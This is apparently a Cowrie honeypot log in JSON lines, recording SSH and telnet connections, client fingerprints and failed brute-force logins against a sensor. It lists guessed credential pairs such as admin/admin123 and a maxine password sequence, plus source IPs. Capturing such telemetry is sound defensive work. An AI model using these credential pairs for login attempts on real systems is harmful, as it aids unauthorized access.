{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:46.115392Z","src_ip":"27.79.5.10","session":"253c24138ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin123","message":"login attempt [admin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:47.216822Z","src_ip":"27.79.5.10","session":"253c24138ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:48.548651Z","src_ip":"27.79.5.10","session":"253c24138ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":34072,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e7c57ff4d22","protocol":"ssh","message":"New connection: 166.1.60.230:34072 (10.17.0.5:22) [session: 1e7c57ff4d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:17.083874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:17.087164Z","src_ip":"166.1.60.230","session":"1e7c57ff4d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:17.091671Z","src_ip":"166.1.60.230","session":"1e7c57ff4d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wialon","password":"wialon","message":"login attempt [wialon/wialon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:17.142919Z","src_ip":"166.1.60.230","session":"1e7c57ff4d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:18.150034Z","src_ip":"166.1.60.230","session":"1e7c57ff4d22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":39764,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a9631ccecc3","protocol":"ssh","message":"New connection: 101.36.108.125:39764 (10.17.0.5:22) [session: 8a9631ccecc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:44.964412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:44.967738Z","src_ip":"101.36.108.125","session":"8a9631ccecc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:45.185533Z","src_ip":"101.36.108.125","session":"8a9631ccecc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"1234","message":"login attempt [vboxuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:46.097269Z","src_ip":"101.36.108.125","session":"8a9631ccecc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:43:47.317548Z","src_ip":"101.36.108.125","session":"8a9631ccecc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.138.58","src_port":28952,"dst_ip":"159.203.135.109","dst_port":22,"session":"f67e9a7fce4a","protocol":"ssh","message":"New connection: 167.94.138.58:28952 (159.203.135.109:22) [session: f67e9a7fce4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:07.731772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:07.735660Z","src_ip":"167.94.138.58","session":"f67e9a7fce4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:07.756357Z","src_ip":"167.94.138.58","session":"f67e9a7fce4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:22.732664Z","src_ip":"167.94.138.58","session":"f67e9a7fce4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.219.254.187","src_port":60319,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2e1b1a69369","protocol":"telnet","message":"New connection: 211.219.254.187:60319 (159.203.135.109:23) [session: e2e1b1a69369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:23.781720Z"}
{"eventid":"cowrie.session.closed","duration":12.57295536994934,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:36.354573Z","src_ip":"211.219.254.187","session":"e2e1b1a69369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":5740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5303e084d6b","protocol":"ssh","message":"New connection: 213.209.159.159:5740 (159.203.135.109:22) [session: f5303e084d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:54.228559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:59.758584Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:44:59.837049Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine","message":"login attempt [maxine/maxine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:00.239352Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine1","message":"login attempt [maxine/maxine1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:01.325040Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine123","message":"login attempt [maxine/maxine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:02.412282Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine1234","message":"login attempt [maxine/maxine1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:03.507515Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine12345","message":"login attempt [maxine/maxine12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:04.593290Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:05.678309Z","src_ip":"213.209.159.159","session":"f5303e084d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":59130,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac2db1d6179","protocol":"ssh","message":"New connection: 27.79.5.10:59130 (10.17.0.5:22) [session: 2ac2db1d6179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:16.285753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:16.328562Z","src_ip":"27.79.5.10","session":"2ac2db1d6179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:16.569952Z","src_ip":"27.79.5.10","session":"2ac2db1d6179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:19.309168Z","src_ip":"27.79.5.10","session":"2ac2db1d6179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:21.327028Z","src_ip":"27.79.5.10","session":"2ac2db1d6179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":38212,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a2c791219d","protocol":"ssh","message":"New connection: 101.36.108.125:38212 (10.17.0.5:22) [session: 61a2c791219d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:41.328362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:41.332954Z","src_ip":"101.36.108.125","session":"61a2c791219d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:41.548117Z","src_ip":"101.36.108.125","session":"61a2c791219d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:42.436982Z","src_ip":"101.36.108.125","session":"61a2c791219d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:43.654344Z","src_ip":"101.36.108.125","session":"61a2c791219d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":39648,"dst_ip":"10.17.0.5","dst_port":22,"session":"7feaaa0ebdc7","protocol":"ssh","message":"New connection: 27.79.44.181:39648 (10.17.0.5:22) [session: 7feaaa0ebdc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:52.151177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:52.156896Z","src_ip":"27.79.44.181","session":"7feaaa0ebdc7","protocol":"ssh"}
